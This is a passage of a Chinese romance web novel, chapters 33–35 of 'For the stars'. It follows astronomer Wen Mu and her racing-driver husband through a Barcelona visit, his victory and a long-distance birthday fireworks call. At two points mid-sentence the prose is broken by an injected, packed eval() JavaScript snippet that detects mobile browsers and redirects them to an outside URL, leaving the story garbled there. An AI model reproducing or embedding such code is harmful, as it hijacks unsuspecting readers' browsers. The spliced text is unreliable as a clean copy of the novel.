温木这段时间的生活规律得像原子钟。早晨七点到实验室,中午在办公室吃简餐,晚上常常工作到天文台关门。唯一的变数,是每晚九点半准时响起的视频通话。 “叮。”手机屏幕亮起,备注为“火星哥”的联系人发来消息: 【今晚训练结束会晚,十点打给你】 她把给他的备注改了,那次从布鲁塞尔回来后改的。 忘了是哪天,她在跟宋星燃发消息,于茉凑过来瞥了一眼,看到备注上原封不动的“Lgnis”,不禁奇怪:“你给你老公就备注这个?” “不可以吗?”温木疑惑。 于茉撇撇嘴:“这也太没有情趣了,我的宝贝。” 温木:“我和他,好像也不用这种东西吧。” 除了某些时刻会换衣服之外。 于茉:“这你就不懂了吧,男人,特别是年纪小的男人,占有欲强的要死。一看到你的备注不是老公啊、宝宝啊之类的,立马跟你翻脸,说你不在乎他,你不喜欢他,你移情别恋了。触发连招的那种。” 温木皱眉。 所以,只是年龄的原因,无关其他。 “你好像,很有经验的样子。” 于茉尬住:“那什么,我前两天才跟我家那位吵了一架,就为这。” 温木:“你给小宁备注的什么?” 于茉:“宁同学。” 温木评价:“那确实,像同事一样。” 于茉瞪眼:“你还说我?你这不跟陌生人一样?” 温木看她:“那你改成什么了?” 于茉抿起嘴,半晌,说:“小媳妇。” “噗——” 两人同时回头,对上喷了一地咖啡的徐樾声。 “咳咳咳,”他呛得直咳嗽,“两位姐姐,我没别的意思。我就是觉得,你们真会玩。” 温木托着下巴:“那你觉得,我改个什么好?” 于茉:“你自己老公,你自己不想?” 最后的结果就是,温木思来想去,小手一点,把备注改成了“火星哥”。 当然,更多的原因是她喜欢火星哥。 一开始温木是有点不好意思的,毕竟给一个小自己四岁的男人备注“哥”,总觉得怪怪的。 但后来她也无所谓了,反正宋星燃又不知道。 火星哥:【今天喝的什么?】 Jupiter:【[图片]】 Jupiter:【橙C美式,热的。】 火星哥:【很乖】 目光触及这两个字,温木的脸颊微微发烫。 搞什么啊,现在居然轮到他来说她“乖”了。 她敏锐地意识到自己年上的地位有所动摇,于是决定,给他点颜色看看。 话还没想好,又一条消息进来。 火星哥:【出门了,晚上等我】 温木叹口气。 Jupiter:【收到。】 这两个月,宋星燃的赛事密集得像蜂巢:从比利时站到意大利站,再到日本站,几乎每周都在不同的时区穿梭。 但他们默契地找到了一种相处方式:清晨她起床时,会收到他睡前发的训练视频;深夜她离开实验室前,总能接到他的视频电话。 通话内容五花八门。有时是他炫耀新改装的赛车引擎,有时是她讲解最新发现的热木星特征。 更多时候,他们只是开着视频各忙各的。他在健身房挥汗如雨,她在电脑前分析数据,偶尔抬头相视一笑,仿佛对方就在身边。 宋星燃的赛季成绩像坐过山车。日本站因为引擎故障退赛,新加坡站却稳稳夺冠。 温木到现在还记得那天深夜,他穿着沾满香槟的赛车服,在领奖台后的休息室里给她打视频,眼睛亮得像是装进了整个银河:“温老师,我赢了!” “看到了。”她当时正在天文台,镜片后的眼睛弯成月牙,“采访的时候,你说要把这场胜利献给一个重要的人?” 男人低笑:“你说呢?” 温木挑眉:“那我就勉为其难地收下了。” * 五点半,温木推开宋家别墅的大门,一阵暖气扑面而来。她刚弯腰换鞋,一团毛茸茸的影子就扑了过来,爪子搭在她膝盖上,尾巴摇得像是螺旋桨。 “汽油!”温木蹲下身,揉了揉哈士奇的脑袋。 五个月大的汽油已经长高了不少,毛发蓬松,蓝眼睛亮晶晶的,兴奋地往她怀里拱。温木笑着挠了挠它的下巴,狗狗立刻舒服地眯起眼,喉咙里发出咕噜咕噜的声音。 “阿木回来了?”沈岁从厨房走出来,手里端着一盘刚切好的水果,笑盈盈地看着她,“正好,饭刚做好,来吃。” 温木点头,跟着沈岁走进餐厅。餐桌上已经摆好了几道家常菜,香气四溢。 沈岁给她盛了一碗汤,随口问道:“最近实验室忙吗?” “还好,项目进展挺顺利的。”温木接过碗,低头喝了一口,鲜香浓郁。 沈岁叹了口气,语气里带着几分无奈:“阿燃下场比赛在巴塞罗那,我本来和你爸商量着,要去看他一趟。结果你爸昨天跟我说,临时要出差,又去不了了。” 温木顿了顿,轻声宽慰:“他说还有一个月就回来了,很快的。” 沈岁摇摇头,眉头微蹙:“当初不同意他玩车,就是因为不着家。我跟你爸天天提心吊胆的,你说要是在国内,好歹有个什么事儿很快就能到。偏偏在欧洲,唉。” 她顿了顿,声音低了几分,“你都不知道,当初我接到他老板电话,说他受伤了,现在躺在医院里,我那个心哦,都揪起来了。” 温木握着筷子的手微微一顿。 她从来没问过宋星燃那场比赛的事。 她甚至不知道他当时伤得多重,也不知道他一个人躺在医院里的时候,有没有人陪着他。 胸口忽然泛起一阵酸涩,像是被什么东西轻轻攥住。 她垂眸,指尖无意识地摩挲着碗沿,半晌,轻声开口:“妈,我去看他吧。” 沈岁一愣,随即眼睛一亮:“真的?” 温木点头:“嗯,正好实验室最近没那么忙。” 沈岁顿时笑开了花,立刻拿起手机:“那我给你订机票!” 温木无奈地按住她的手:“妈,我自己来就行。” * 11月1日,巴塞罗那,晴。 温木拖着行李箱,站在酒店大堂。 她没告诉宋星燃她要来,她想像上一次一样,给他一个惊喜。 按照他的习惯,比赛前一定会住在离赛道最近的酒店,而这家五星级酒店,就在赛道旁边,步行只要十分钟。 她走到前台, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329924|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 递上护照:“您好,办理入住。” 前台小姐接过护照,看了一眼,忽然露出一个神秘的微笑:“温小姐?” 温木一愣。 前台小姐笑而不语,只是递给她一张房卡:“这是您的房卡,顶层,视野最好的一间。” 温木迟疑地接过房卡,心里隐约觉得哪里不对劲,但又说不上来。 她乘电梯上楼,刷卡推开门。 房间内一片漆黑,厚重的窗帘拉得严严实实,连一丝光线都透不进来。 她皱了皱眉,伸手去摸墙上的开关。 指尖刚触到冰冷的墙面,忽然,一只温热的手掌覆了上来,直接扣住她的手腕。 温木呼吸一滞,还没来得及反应,就被一股大力按在了墙上。高大的身影压下来,灼热的呼吸喷在她耳畔,带着熟悉的薄荷香气。 紧绷的神经在闻到那气息的瞬间松弛下来,她搂住男人的脖子,仰头迎上他的吻。 像是要把这三个月的思念全都倾注进去。 过了很久,他才松开她,额头抵着她的,低低地笑:“喜欢我给你的惊喜吗?” 温木喘着气,缓了好一会儿才找回声音:“小骗子。” 宋星燃闷笑一声,直接把她打横抱起来,大步走向落地窗。 “你干什么?” “给你看风景。”他坏笑着,将她放在窗边的软榻上,随即翻身压上来,手指轻轻抚过她的脸颊。 “这里景色最好,衬得你更美。” 窗外,巴塞罗那的夜景尽收眼底。 远处的圣家堂在夜色中巍峨耸立,城市的灯光如星河般闪烁,而玻璃窗上,映出两人交叠的身影。 温木耳根发烫,指尖抵着他的胸膛:“别在这儿。” 宋星燃挑眉,手指已经探进她的衣摆:“为什么?怕被人看见?” 温木咬唇:“第一次在家里,那个窗户,外面是不是能看见?” 她憋了这么久,总算找到机会问他。 男人低笑一声:“是啊,能看见的。” “怎么办呀温老师。” “我们都被看光了。” 温木还没来得及伸手打他,就被堵住了唇。 许久,才被放开。 “我才不舍得让别人看你呢。” “我恨不得把你关在家里,日日夜夜,只有我一个人能看你。” …… 不知道是几个小时后。 温木瘫软在床上,看着天花板放空自己。 小别胜新婚,古人诚不欺她。 男人比第一次那晚还要凶,不说骚话了,也不怎么亲她了,就是埋头苦干。 身前是冰凉的落地窗,身后是他火热的身体。 温木觉得自己差点儿就要交代在这。 宋星燃从浴室出来,身上只围了一条浴巾,水珠顺着腹肌滑落。他走到床边,俯身去掀她的衣服。 温木闭着眼,有气无力地推他:“宋星燃,停下来。” 他低笑:“不弄了,你睡。” 温木也顾不上他是不是在骗人,直接昏睡过去。 迷迷糊糊间,她感觉自己的衣服被掀上去,微凉的东西涂在锁骨和腰间。 男人像是自言自语:“下次不能咬这了。” * 巴塞罗那,11月2日,晴。 温木低头看了看自己身上的衣服,眉头微蹙。 这是一件银黑相间的赛车服外套,背后印着宋星燃的车队LOGO和名字,袖口还绣着一个小小的“SR”——显然是定制的应援服。 她这辈子都没穿过这么张扬的衣服。 “怎么样,好看吧?”宋星燃站在她面前,眼睛亮得像是盛了星星,手指轻轻拨弄了一下她领口的拉链,“我就说你穿这个特好看。” “我老早就让他们准备了,尺码也刚好。” 温木勉强扯出一个微笑:“嗯。” “好看。” 宋星燃挑眉,显然看穿了她的勉强,但他心情极好,直接牵起她的手:“走,带你去个好位置。” 赛道旁早已人声鼎沸,观众席上座无虚席,各色旗帜在风中猎猎作响。 宋星燃带着她穿过VIP通道,直接来到车队P房上方的观赛台——视野最佳的位置,能将整条赛道尽收眼底。 车队的工作人员见到宋星燃,纷纷笑着打招呼,八卦的目光却忍不住往温木身上瞟。 宋星燃直接抬手,挡在温木面前,语气不善:“滚。” 众人立刻识趣地散开。 温木无奈:“你干嘛?” 宋星燃哼笑一声,俯身在她耳边低语:“他们不配看你。” 温木耳根一热,还没说话,男人已经直起身,手指轻轻点了点她的鼻尖:“好好看着,你老公今天怎么把冠军捧到你面前。” 他的声音低沉而笃定,带着不容置疑的狂妄,却又让人莫名信服。 温木看着那张恣意的面庞,心跳忽然漏了一拍。 大屏幕上,宋星燃的脸被放大数倍,清晰得连睫毛的弧度都看得一清二楚。 他戴着车队棒球帽,帽檐下那双桃花眼微微上挑,左耳的蓝色耳钉在阳光下闪闪发亮,衬得整个人张扬又耀眼。 记者将话筒递到他面前,用英文采访:“宋,今天状态看起来很好?” 宋星燃懒洋洋地勾唇:“还行。” “有什么特别的原因吗?”记者笑着问,“感觉你今天心情格外好。” 大屏幕上,宋星燃忽然偏过头,目光直直地望向某个方向。 他的唇角缓缓勾起一抹笑,眼底的锋芒褪去,只剩下毫不掩饰的温柔和得意。 “因为——” “我老婆来看我比赛了。” 34. For the stars 观众席爆发出震耳欲聋的欢呼声,口哨声此起彼伏。温木坐在VIP观赛台上,感觉全身的血液都在一瞬间涌上了脸颊。 大屏幕上还定格着她微微睁大眼睛的模样,银黑相间的应援服衬得她肤色如雪。 她下意识想低头,却被身旁的车队经理夫人轻轻碰了碰手臂:“不要躲,我亲爱的朋友,你很好看的。” 这位金发碧眼的法国女人笑着说,“宋从不在公开场合提私事,你是第一个。” 温木抿了抿唇,指尖无意识地摩挲着袖口绣着的“SR”字样。 从前在宁大校园里,她见过不少当众表白的场景,摆蜡烛的、弹吉他的、在教学楼下喊楼的。 她总觉得这样的行为太过张扬,不够成熟,甚至有些幼稚。 可当她亲耳听见宋星燃对着全世界说“我老婆来看我比赛了”时,竟然不觉得反感。 她看着他站在阳光下,眉宇间尽是意气风发的模样,心跳却不受控制地加快了。 发车区传来引擎的轰鸣声,将温木的思绪拉回现实。二十辆赛车如同蓄势待发的猛兽,宋星燃的5号赛车银黑相间,在阳光下泛着冷冽的金属光泽。车身线条流畅如刀锋,尾翼上的赞助商标志清晰可见。 五盏红灯依次亮起,随后同时熄灭。 5号赛车如同离弦之箭般冲出,起步的瞬间就从第五位跃升至第三。观众席爆发出欢呼声,温木不自觉地攥紧了栏杆。 “宋的起步一直这么漂亮。”Jean在旁边为她解说,“但今天格外凶,看来老婆在场就是不一样。” 温木没接话,眼睛一瞬不瞬地盯着赛道上那道银色闪电。宋星燃的驾驶风格极具侵略性,每个过弯都精准得如同用尺子量过。在第9号弯道,他与前车几乎贴面而过,完成了一次惊险的超车。 “加油。” 温木小声呢喃,声音轻得只有自己能听见。 她的目光始终追随着那辆5号赛车,看着他一次次刷新最快圈速,看着他在大直道上打开DRS系统,如猛兽般扑向前车。 比赛进行到第40圈,宋星燃已经稳稳占据首位。最后一圈,他保持着绝对优势冲过终点线。黑白格子旗挥舞,全场观众起立鼓掌。 大屏幕上的镜头紧紧跟随着男人。他摘下头盔,金发被汗水浸湿,随意地往后一捋,露出那张棱角分明的俊脸。他没有第一时间看向车队,而是仰起头,目光直直地望向温木所在的方向。 温木屏住呼吸。 即使隔着这么远的距离,即使现场人声鼎沸,她还是清晰地读出了他的唇形。 “老婆。” 那一刻,仿佛有电流从脊背窜上来。温木感觉自己的心脏快要跳出胸腔,耳边只剩下血液奔流的声音。 这是什么感觉? 为什么会这样的,让人失控、让人着迷、让人想要再体验一遍? * 庆功宴选在巴塞罗那最负盛名的米其林三星餐厅。 温木换上了宋星燃为她准备的一条墨绿色的丝绒长裙,头发松松地挽起,露出纤细的脖颈。宋星燃则穿着深蓝色西装,衬衫纽扣解开了两颗,露出线条分明的锁骨。 “紧张?”前往餐厅的车上,宋星燃捏了捏温木的手指。 温木摇头:“只是不擅长社交场合。” “如果不喜欢的话,我们就不去了。” “我答应过你,不会逼你。” 男人眼神认真。 温木拍拍他的手:“没事。偶尔一次。就当是——” “给冠军的奖赏。” 宋星燃低笑,手指穿过她的指缝,十指相扣:“那我可要多拿几个冠军了。” “有我在,别害怕。” 餐厅装潢奢华,水晶吊灯将整个空间映照得如同白昼。车队成员已经到齐,见他们进来,立刻爆发出一阵欢呼。 Alex第一个迎上来,张开双臂就要拥抱温木,被宋星燃一个侧身挡住。 “说话就说话,别动手动脚。”宋星燃冷着脸说。 温木打量着Alex,莫名觉得有些眼熟,但一时想不起在哪里见过。 对方似乎察觉到她的目光,冲她眨了眨眼:“终于见到传说中的温教授了,宋天天在车队炫耀,说他老婆是研究星星的。” 温木微微颔首,保持着得体的微笑:“我还在读博士,不是教授。我研究天文学,具体是系外行星大气层研究。” “哇哦,”Alex夸张地挑眉,“宋的名字里有星星,而你研究星星!” 宋星燃踹了他一脚:“就你话多。” 入席后,侍者开始上菜。宋星燃自然地接过菜单,用流利的西班牙语点了几道温木喜欢的海鲜。 当侍酒师过来推荐红酒时,他直接摆手:“她不喝,给她鲜榨橙汁。” 庆功宴进行到一半,Alex带着几分醉意走过来,拍着宋星燃的肩膀说:“你小子今天跑得跟开了挂似的,是不是老婆在旁边特别有动力?” 宋星燃勾唇,手臂搭在温木椅背上,手指有一下没一下地卷着她的发尾:“还行吧,正常发挥。” 温木转头看向身边的男人。灯光下,宋星燃的侧脸线条分明,下颌线如刀削般锋利。 他似乎察觉到她的目光,偏过头,挑眉:“怎么了?” 温木摇头,轻声道:“没什么。” 只是突然发现,她好像从未真正了解过这个已经成为她丈夫的男人。他在赛道上的辉煌,他经历过的危险,他为之付出一切的梦想…… 她全都知之甚少。 宋星燃盯着她看了几秒,忽然凑近,在她耳边低语:“回家慢慢看,我们有的是时间。” 温热的气息喷在耳畔,温木的耳尖慢慢红了。她下意识想躲,却被宋星燃扣住了手腕。男人低笑,拇指在她脉搏处轻轻摩挲,感受着她加速的心跳。 “宋,”Alex突然举着香槟走过来,“来,敬我们的冠军夫妇一杯!” 宋星燃皱眉:“说了她不喝。” “知道知道,”Alex笑嘻嘻地递过一杯橙汁,“给温教授的。” 温木接过杯子,礼貌地道谢。 就在Alex转身的瞬间,她终于想起为什么觉得他眼熟了——她在布鲁塞尔机场遇到的那位中国女士,手机屏保就是和Alex的合照。 她什么也没说,只是小口啜饮着橙汁,任由宋星燃的手指在她发间流连。 庆功宴的喧嚣渐渐远去,此刻她的世界里,仿佛只剩下身旁这个意气风发的男人,和他指尖传来的温度。 * 温木半夜醒来时,身旁的位置空荡荡的。 她伸手摸了摸床单,已经凉了,显然宋星燃离开有一段时间了。她摸索着戴上眼镜,掀开被子下床。 客厅里没开灯,只有落地窗外巴塞罗那的夜色透进来,勾勒出男人修长的轮廓。 宋星燃穿着深色浴袍,腰带松松地系着,露出一片结实的胸膛。他手里端着一杯琥珀色的酒,站在窗前,背影挺拔又孤寂。 温木站在走廊口,静静地看着他。 月光勾勒出他的侧脸,下颌线条分明,鼻梁高挺,睫毛在眼下投下一小片阴影。他不再是赛道上那个意气风发、张扬狂妄的毛头小子,此刻的他,身上多了几分成熟男人才有的沉稳与内敛。 温木的心跳忽地漏了一拍。 她走过去,脚步很轻,但宋星燃还是察觉到了。他回过头,看到是她,眉宇间的沉郁瞬间化开,唇角勾起一抹笑。 “怎么出来了?” “你不在。” 宋星燃把酒杯放在茶几上,朝她走来。 他俯身凑近她,呼吸间带着淡淡的威士忌香气,坏笑着问:“怎么,温老师现在离不开我了?” 温木推了推眼镜,镇定道:“没有。” “怕你想不开,没法交代。” 宋星燃低笑,伸手将她搂进怀里:“这样啊。” “没事,你关心我,我就很开心了。” 男人的手掌直接贴在她的大腿外侧,掌心温热。 温木还穿着他的T恤,衣摆空荡荡地垂到大腿根,他的手指几乎能直接触到她的皮肤。 “还做吗?”她问。 宋星燃挑眉,似乎没想到她会这么直接。 他盯着她看了两秒,摇头:“不做,陪我说会儿话,可以吗?” 温木思考片刻,点头。 男人直接将她打横抱起,走回卧室。他靠在床头,把温木扯进怀里,让她靠在自己胸膛上。 温木能听到他的心跳声,一下一下,沉稳有力。 “你有什么想跟我聊的吗?”他问。 温木沉默了一会儿,轻声开口:“比利时站,你受伤那次,是怎么回事?” 宋星燃的身体明显僵了一下。 “没什么,”他的语气轻松,仿佛在谈论今天的天气,“就是普通的撞车。” 温木抬头看他:“真的?” 宋星燃垂眸,对上她探究的目光,忽然叹了口气。他抬手揉了揉眉心,声音低了几分:“左腿骨裂,肋骨骨折,轻微脑震荡。” 温木的心一下子揪紧。 “当时情况很危险,”他继续说,语气平静得不像在说自己,“前车失控,如果我直接撞上去,可能会连累他。所以我打了方向,自己撞护栏了。” 男人说得轻描淡写,但温木能感觉到他紧绷的肌肉。 “害怕吗?”她轻声问。 宋星燃沉默了很久。 久到温木以为,他不会回答这个问题了。 “怕。” “躺在医院的时候,我在想,如果我真的出事了,我妈怎么办,我爸怎么办,我哥哥怎么办……” 而现在,他会想,如果他出事了,她怎么办。 男人顿了顿,喉结滚动了一下,没再说下去。 温木第一次看到他这样。 在她的印象里,宋星燃一直是那个张扬恣意的少年模样,天不怕地不怕,好像世界上没什么能让他低头。可现在,他靠在她身边,眉宇间流露出少见的脆弱,像个迷路的孩子。 她意识到,自己从前对他的认知有多浅薄。 她一直觉得他莽撞、冲动、幼稚,是个被宠坏的大少爷。 她错了。 他有担当,他在生死关头会选择保护别人,他藏在骄傲外表下的是不曾示人的柔软。 温木忽然很想亲亲他。 她伸手,轻轻抚上他的脸:“你很勇敢。” 宋星燃愣了一下,随即失笑:“勇敢什么?差点把自己撞废了。” “不是。”温木摇头,“你救了别人。” 男人盯着她,眼底的情绪翻涌。 “勇敢的骑士,会得到公主的一个吻。” 温木仰头,主动吻上他的唇。 宋星燃的呼吸瞬间加重。他扣住她的后脑,加深这个吻,长驱直入,攻城略地。温木被他亲得浑身发软,手指无意识地揪住他的浴袍领口。 分开时,两人的呼吸都乱了。 他抵着她的额头,声音沙哑:“你的吻技很烂,公主殿下。” * 温木依旧是第二天就回国了。 虽然宋星燃一百个不愿意,但没办法,实验室工作太多。 没过几天,宋星燃回国的时间也定下来,11月23号。 不巧的是,他在前一天结束最后一场比赛,再加上飞行时间,到宁川时,已是23号的凌晨。 而22号,是温木的生日。 温木是在宋星燃把赛程表发过来的那一刻就意识到了这件事。 不过她没提,也很快就不在意了。 她对于过生日没什么特别的要求,往常也不过是家里人一起吃个饭,秦忆单给她做一碗长寿面,加个溏心蛋而已。 在苏黎世读书的时候,也有好几年都没有回家。她不愿意让爸妈飞那么远来给她过生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339045|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日。 于茉倒是在伦敦,每年都跑来陪她,两个人在欧洲地图上掷骰子,扔到哪儿就去哪儿玩一天。然后买一个小小的蛋糕,插上一根蜡烛,拍照留念以后,消灭得一干二净。 更何况,今年宋星燃不在。 过了今年生日,她就又老了一岁了。 其实温木之前从来没有年龄焦虑,她觉得更多的人生经历代表了更多的阅历和见闻,是她宝贵的财富。 但也许是跟宋星燃在一起待久了。 好吧,她承认,应该是因为跟宋星燃在床上待久了,越来越感觉到力不从心。 常常他才一两次,她就已经哑着嗓子不知道多少次了。 舒服是舒服,累人也是真累人。 所以,温木得出一个结论。 她开始年龄焦虑这回事儿,都怪宋星燃。并且对这个结论非常满意和认同。 * 11月22日,宁川,阴。 温木刚洗完澡,正擦着头发,手机突然震动。 茉茉唧唧:【宝贝阿木生日快乐!让我木啊一口!】 温木看了眼时间,零点整。 点开语音回复一句:“mua。” 发完,她顺手划到宋星燃的聊天框。 空空如也。 奇怪,年轻人不是都流行零点发祝福吗? 她盯着屏幕看了几秒,最终只是轻轻锁屏,将手机放到一旁。 温木是被轻轻拍醒的。 秦忆坐在她床沿,声音里带着掩不住的笑意:“枝枝宝贝,生日快乐!晚上记得回来吃饭,妈给你做你最爱吃的糖醋排骨。” 温志远在门外喊:“还有红烧鱼!” 温木笑着应下。 吃早饭的时候,沈岁的电话就打过来了。 “阿木,祝你生日快乐!” 后面跟着宋明深的声音:“阿木生日快乐。” 温木倒是没想到沈岁和宋明深会记得自己的生日,一时间,心里暖暖的:“谢谢妈、谢谢爸。” “生日礼物是我跟你妈妈一起挑的,你喜欢的话就最好啦。” 温木看向母亲,秦忆微笑着点头:“我们挑了一件旗袍,给你收着呢。等冬天婚礼上,用得到。” 冬天、婚礼。 对哦,宋星燃说,等他冬天回来,就办婚礼。 还说,要让她成为全宁川最幸福的新娘。 温木的嘴角微微扬起。 “嗯,到时候穿。” 到学校后,实验室的人轮流来送祝福。 徐樾声送了一本绝版的天文学著作,吴桐送了一盒手工巧克力,孟孟则神秘兮兮地塞给她一个小盒子,里面是一对星星形状的耳钉。 “阿木姐,你戴上肯定好看!”孟孟眼睛亮晶晶的。 温木微笑着道谢,将耳钉收好。 一整天,她的手机都很安静。 温木合上电脑时,窗外已经彻底暗了下来。 实验室的灯还亮着,徐樾声和吴桐正在整理数据,孟孟趴在桌上昏昏欲睡。 她揉了揉发酸的后颈,起身倒了杯水。 “阿木姐,生日快乐!”孟孟突然抬起头,睡眼惺忪地冲她笑,“虽然已经说过了,但再说一遍也不嫌多。” 温木弯了弯唇角,年轻的女孩子当真是可爱的很。 “谢谢你啊孟孟。” “阿木姐,今晚有安排吗?”吴桐推了推眼镜,“要不要一起去吃个饭?” 于茉在一旁插话:“哪轮得着我们跟温博士吃饭啊。” 徐樾声:“哦~,我知道,肯定要跟姐夫过二人世界去了。” 温木摇头:“我回家过。” 于茉惊讶:“宋少爷不回来啊。” 温木解释:“他有比赛。” 于茉:“那咋了,比完回来啊。” 温木低头撕去手指上翘起的倒刺:“时间来不及。” 她早就算过了,就算是比赛完立刻赶去机场,等到了宁川,她的生日也已经过了。 “啊——”于茉表示遗憾。 温木无所谓地耸耸肩:“没事啊。又不是什么特别的日子,我也不是要大办一场。回不回来都一样。” 于茉:“好吧。今天天气不好,我送你回家?” 温木点头。 晚上,11:45。 温木坐在书桌前,电脑屏幕的光映在她脸上。文献已经看了大半,但她却有些心不在焉。 手机就放在手边,屏幕暗着,像一块沉默的石头。 她终于忍不住,点开微信——宋星燃的最后一条消息还停留在三天前,他发来的赛程表。 火星哥:【[图片]】 火星哥:【23号回来】 温木不是矫情的人,她理解职业选手的行程身不由己,理解这是他的事业。 但理解归理解,心里那股闷闷的情绪却挥之不去。 她关上电脑,披上外套走到阳台上。 夜风微凉,带着初冬的凛冽。远处的江景灯火璀璨,高楼大厦的霓虹倒映在江面上,碎成一片斑斓的光影。 他的比赛要开始了吧。 那边天气怎么样? 他今天状态还好吗? 手机震动,打断她绵延的思绪。 温木拿起来,看到了那个有点期待的名字跃动在屏幕上。 她接通电话:“喂。” “你在哪儿?” 男人的声音透过听筒传来,背景音嘈杂,隐约能听到引擎的轰鸣。 “在阳台上,看星星。” “冷不冷?” “披了衣服。” 电话那头沉默片刻,宋星燃的声音低了几分:“还有一个小时,我就要比赛了。” “嗯。”温木轻声应着。 还有一个小时,她就要29岁了。 “温木。”他突然喊她。 “嗯?” “抬头。” 35. For the stars 温木下意识仰起脸,漆黑的夜空里只有几颗零散的星星在云层间若隐若现。 “看什么?”她问。 电话那头传来引擎的轰鸣声,宋星燃似乎正在往某个地方跑动,呼吸有些急促:“再等等。” 温木将手机夹在耳边,双手拢了拢披肩。初冬的夜风带着湿冷的寒意钻进领口,她却固执地站在阳台上没有动。远处江面上游轮的灯光如流动的星河,倒映在她镜片上。 “三。” “二。” “一。” “砰!” 第一朵烟花在夜空中炸开。金色的光芒如瀑布般倾泻而下,在最高点凝聚成土星的模样——清晰可见的光环,周围还环绕着几颗小卫星。 紧接着是第二朵,蓝色的火星拖着长长的彗尾;第三朵是带着红斑的木星,在夜空中缓缓旋转。每一颗烟花都精确复刻了她研究笔记上的行星图像,连大气层的纹路都分毫不差。 “这是……” 她的声音有些发抖。 “专门为你定制的。” 宋星燃的嗓音里带着笑意。 “生日快乐,温老师。” 第四朵烟花升空,那是一颗带着冰环的系外行星,正是她博士论文的研究对象。烟花在最高点停留的时间异常持久,仿佛真的有一颗行星悬浮在宁川的夜空。 整座城市似乎都安静下来。 温木听见自己剧烈的心跳声,感受到血液冲上耳尖的灼热。 她从未见过这样的烟火——不是俗套的心形,不是简单的彩色光点,而是将她整个学术生涯的星辰大海都搬到了天上。 最后一组烟花同时升空,在五百米的高空绽放成一片星云。银白色的光点如尘埃般缓缓飘落,在接触到云层的瞬间又迸发出细小的金色火花,宛如一场微型超新星爆发。 温木仰着头,直到脖颈发酸,直到最后一粒光点消失在夜色中。 “喜欢吗?” 电话那头,男人的声音突然变得很轻。 温木张嘴,却发现喉咙哽住了。 她清了清嗓子,勉强挤出一个“嗯”字。 “对不起,我没能回来陪你过生日。” 背景音里传来车队人员的呼喊,宋星燃似乎走到了相对安静的地方。 温木听着他沙哑的嗓音,想象他眼下可能泛着的青黑。 她想起自己前段时间看过的一篇报道,说F1车手在比赛前48小时就要开始调整状态,而宋星燃此刻应该在休息室养精蓄锐,而不是站在某个角落给她打电话。 “没关系。”温木听见自己说。 “只是一个生日而已,其实,也没那么重要。” 电话那头沉默了。 “对我来说很重要。” “温木,这是你成为我妻子后的第一个生日。” “对我来说,特别重要。” 夜风吹散了鬓边的碎发。温木望着远处重新归于黑暗的江面,胸口泛起一种陌生的酸胀感。 三十二分钟前,她还在说服自己不在意;二十二分钟前,她盯着手机屏幕计算时差;而现在,她站在二十九岁的开端,突然意识到自己其实一直在等这通电话。 “烟火设计师是个天文爱好者,我给他看了你所有的论文配图。”他继续说,语速比平时慢,像是每个字都经过斟酌,“第三颗烟花里的系外行星,是你去年发现的那颗对吗?轨道周期317天,表面温度——” “297开尔文。”温木下意识接话,“你知道这些。” 宋星燃低笑了一声,温木几乎能想象到他此刻的表情。嘴角微微上扬,左边眉毛挑起,露出那种“被小看了”的得意神情。 “温老师,你丈夫的记忆力可是经过国际汽联认证的。”他的声音突然靠近话筒,带着呼吸的温热,“赛道每个弯角的刹车点,对手每场比赛的进站策略,还有……” “还有什么?” “还有你说过的每句话。”宋星燃的语调忽然柔软下来,“比如你喜欢吃溏心蛋但讨厌流心的蛋黄,比如你整理数据时会不自觉地咬笔帽,比如你觉得星空下接吻很浪漫但从来不好意思说……” 温木的指尖微微发颤。这些琐碎的细节像是一把钥匙,轻轻转动了她心上某道锁。 阳台的玻璃门映出她的倒影。嘴角上扬的弧度,眼睛里闪烁的光,都是她陌生的模样。 “你知道吗,”宋星燃继续说,声音里带着她从未听过的柔软,“我第一次见到你的时候,就觉得你像天上的星星。” 温木微微睁大眼睛。 “不是那种遥不可及的星星,”他轻声解释,“是那种,在黑暗里安静发光的星星。不需要别人看见,但一旦看见了,就再也忘不掉。” 她想起实验室里那些深夜,她独自对着电脑屏幕处理数据时,窗外的星光也是这样无声地陪伴着她。 “宋星燃。” 她轻声唤他的名字,却不知道接下来要说什么。 “我今天比赛前一直在想,”他的声音带着笑意,“如果赢了,这就是给你的生日礼物;如果输了,就当是安慰奖。” 温木忍不住笑了:“哪有这样算的。” “对我来说就是这样,”宋星燃的声音靠近,似乎是把手机贴得更近了。 “以前,我的努力是为了证明自己” “现在,又多了一个你。” 像一颗小石子,投入温木平静的心湖,激起一圈圈涟漪。 她望着已经完全暗下来的夜空,突然很想看见此刻他脸上的表情。 “比赛要开始了。”宋星燃说,背景音里传来引擎启动的轰鸣,“等我回来,再给你补过一个生日,好不好?” 温木轻轻“嗯”了一声,突然想起什么:“宋星燃。” “怎么了?” “注意安全。”她停顿了一下,“我,我会看直播。” 电话那头传来宋星燃的轻笑声,温暖又愉悦:“遵命,老婆大人。” “去吧。”温木轻声说。 她望着远处江面上摇曳的灯火,恍然间,不想再维持那副冷静自持的模样。 “我等你。” 电话那头传来衣物摩擦的声音,像是男人突然把手机握得很紧:“再说一遍。” “我等你回来。” “老公。” 电话那头传来一声闷响,接着是男人的痛呼。 温木忍不住笑出声:“撞到哪了?” 他嘟囔:“更衣室的柜门。” 